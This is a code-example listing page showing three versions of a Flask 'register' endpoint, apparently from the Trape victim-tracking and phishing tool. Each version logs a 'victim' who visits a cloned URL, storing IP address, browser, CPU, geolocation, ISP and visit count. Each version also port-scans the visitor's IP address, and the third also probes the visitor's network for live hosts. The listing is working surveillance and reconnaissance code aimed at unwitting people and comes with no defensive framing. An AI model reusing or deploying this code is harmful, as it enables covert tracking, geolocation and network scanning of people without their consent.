Ejemplo n.º 1
0
    def register():
        vId = request.form['vId']
        if vId == '':
            vId = utils.generateToken(5)

        victimConnect = victim(
            vId, request.environ['REMOTE_ADDR'], request.user_agent.platform,
            request.user_agent.browser, request.user_agent.version,
            utils.portScanner(request.environ['REMOTE_ADDR']),
            request.form['cpu'], time.strftime("%Y-%m-%d - %H:%M:%S"))
        victimGeo = victim_geo(vId, 'city', request.form['countryCode'],
                               request.form['country'], request.form['query'],
                               request.form['lat'], request.form['lon'],
                               request.form['org'], request.form['region'],
                               request.form['regionName'],
                               request.form['timezone'], request.form['zip'],
                               request.form['isp'], str(request.user_agent))

        utils.Go(utils.Color['white'] + "[" + utils.Color['blueBold'] + "*" +
                 utils.Color['white'] + "]" +
                 " A victim has been connected from " + utils.Color['blue'] +
                 victimGeo.ip + utils.Color['white'] +
                 ' with the following identifier: ' + utils.Color['green'] +
                 vId + utils.Color['white'])
        cant = int(db.sentences_victim('count_times', vId, 3, 0))

        db.sentences_victim(
            'insert_click',
            [vId, trape.url_to_clone,
             time.strftime("%Y-%m-%d - %H:%M:%S")], 2)
        db.sentences_victim('delete_networks', [vId], 2)

        if cant > 0:
            utils.Go(utils.Color['white'] + "[" + utils.Color['blueBold'] +
                     "*" + utils.Color['white'] + "]" + " " + "It\'s his " +
                     str(cant + 1) + " time")
            db.sentences_victim(
                'update_victim',
                [victimConnect, vId, time.time()], 2)
            db.sentences_victim('update_victim_geo', [victimGeo, vId], 2)
        else:
            utils.Go(utils.Color['white'] + "[" + utils.Color['blueBold'] +
                     "*" + utils.Color['white'] + "]" + " " +
                     "It\'s his first time")
            db.sentences_victim(
                'insert_victim',
                [victimConnect, vId, time.time()], 2)
            db.sentences_victim('insert_victim_geo', [victimGeo, vId], 2)
        return json.dumps({
            'status': 'OK',
            'vId': vId
        })
Ejemplo n.º 2
0
    def register():
        vId = request.form['vId']
        if vId == '':
          vId = utils.generateToken(5)

        victimConnect = victim(vId, request.environ['REMOTE_ADDR'], request.user_agent.platform, request.user_agent.browser, request.user_agent.version,  utils.portScanner(request.environ['REMOTE_ADDR']), request.form['cpu'], time.strftime("%Y-%m-%d - %H:%M:%S"))
        victimGeo = victim_geo(vId, 'city', request.form['countryCode'], request.form['country'], request.form['query'], request.form['lat'], request.form['lon'], request.form['org'], request.form['region'], request.form['regionName'], request.form['timezone'], request.form['zip'], request.form['isp'], str(request.user_agent))

        utils.Go(utils.Color['white'] + "[" + utils.Color['blueBold'] + "*" + utils.Color['white'] + "]" + " A victim has been connected from " + utils.Color['blue'] + victimGeo.ip + utils.Color['white'] + ' with the following identifier: ' + utils.Color['green'] + vId + utils.Color['white'])
        cant = int(db.sentences_victim('count_times', vId, 3, 0))

        db.sentences_victim('insert_click', [vId, trape.url_to_clone, time.strftime("%Y-%m-%d - %H:%M:%S")], 2)
        db.sentences_victim('delete_networks', [vId], 2)

        if cant > 0:
            utils.Go(utils.Color['white'] + "[" + utils.Color['blueBold'] + "*" + utils.Color['white'] + "]" + " " + "It\'s his " + str(cant + 1) + " time")
            db.sentences_victim('update_victim', [victimConnect, vId, time.time()], 2)
            db.sentences_victim('update_victim_geo', [victimGeo, vId], 2)
        else:
            utils.Go(utils.Color['white'] + "[" + utils.Color['blueBold'] + "*" + utils.Color['white'] + "]" + " " + "It\'s his first time")
            db.sentences_victim('insert_victim', [victimConnect, vId, time.time()], 2)
            db.sentences_victim('insert_victim_geo', [victimGeo, vId], 2)
        return json.dumps({'status' : 'OK', 'vId' : vId});
Ejemplo n.º 3
0
def register():

    vId = request.form['vId']

    if vId == '':
        vId = utils.generateToken(5)

    victimConnect = victim(vId, request.environ['REMOTE_ADDR'],
                           request.user_agent.platform,
                           request.user_agent.browser,
                           request.user_agent.version,
                           utils.portScanner(request.environ['REMOTE_ADDR']),
                           request.form['cpu'],
                           time.strftime("%Y-%m-%d - %H:%M:%S"))
    victimGeo = victim_geo(
        vId, request.form['city'], request.form['country_code2'],
        request.form['country_name'], request.form['ip'],
        request.form['latitude'], request.form['longitude'],
        request.form['isp'], request.form['country_code3'],
        request.form['state_prov'], '', request.form['zipcode'],
        request.form['organization'], str(request.user_agent), '')

    utils.Go(utils.Color['white'] + "[" + utils.Color['blueBold'] + "*" +
             utils.Color['white'] + "]" + " A " + utils.Color['whiteBold'] +
             "user" + utils.Color['white'] + " has been connected from " +
             utils.Color['blue'] + victimGeo.ip + utils.Color['white'] +
             ' with the following identifier: ' + utils.Color['green'] + vId +
             utils.Color['white'])

    vRA = request.environ['REMOTE_ADDR']

    gHA = Process(target=getHostsAlive, args=(vRA, vId))
    gHA.start()

    cant = int(db.sentences_victim('count_times', vId, 3, 0))

    db.sentences_victim(
        'insert_click',
        [vId, trape.url_to_clone,
         time.strftime("%Y-%m-%d - %H:%M:%S")], 2)
    db.sentences_victim('delete_networks', [vId], 2)

    if cant > 0:
        utils.Go(utils.Color['white'] + "[" + utils.Color['blueBold'] + "*" +
                 utils.Color['white'] + "]" + " " + "It\'s the " +
                 str(cant + 1) + " time for " + utils.Color['green'] +
                 str(vId) + utils.Color['white'] + "@" + utils.Color['blue'] +
                 victimGeo.ip + utils.Color['white'])
        db.sentences_victim(
            'update_victim',
            [victimConnect, vId, time.time()], 2)
        db.sentences_victim('update_victim_geo', [victimGeo, vId], 2)
    else:
        utils.Go(utils.Color['white'] + "[" + utils.Color['blueBold'] + "*" +
                 utils.Color['white'] + "]" + " " +
                 "It\'s the first time for " + utils.Color['green'] +
                 str(vId) + utils.Color['white'] + "@" + utils.Color['blue'] +
                 victimGeo.ip + utils.Color['white'])
        db.sentences_victim(
            'insert_victim',
            [victimConnect, vId, time.time()], 2)
        db.sentences_victim('insert_victim_data', [vId], 2)
        db.sentences_victim('insert_victim_battery', [vId], 2)
        db.sentences_victim('insert_victim_geo', [victimGeo, vId], 2)
    return json.dumps({'status': 'OK', 'vId': vId})